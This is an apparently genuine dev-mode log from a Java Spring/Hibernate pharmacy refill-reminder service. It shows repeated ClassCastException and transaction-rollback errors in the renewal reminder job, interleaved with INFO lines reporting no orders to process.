org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 12:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 12:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 12:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at 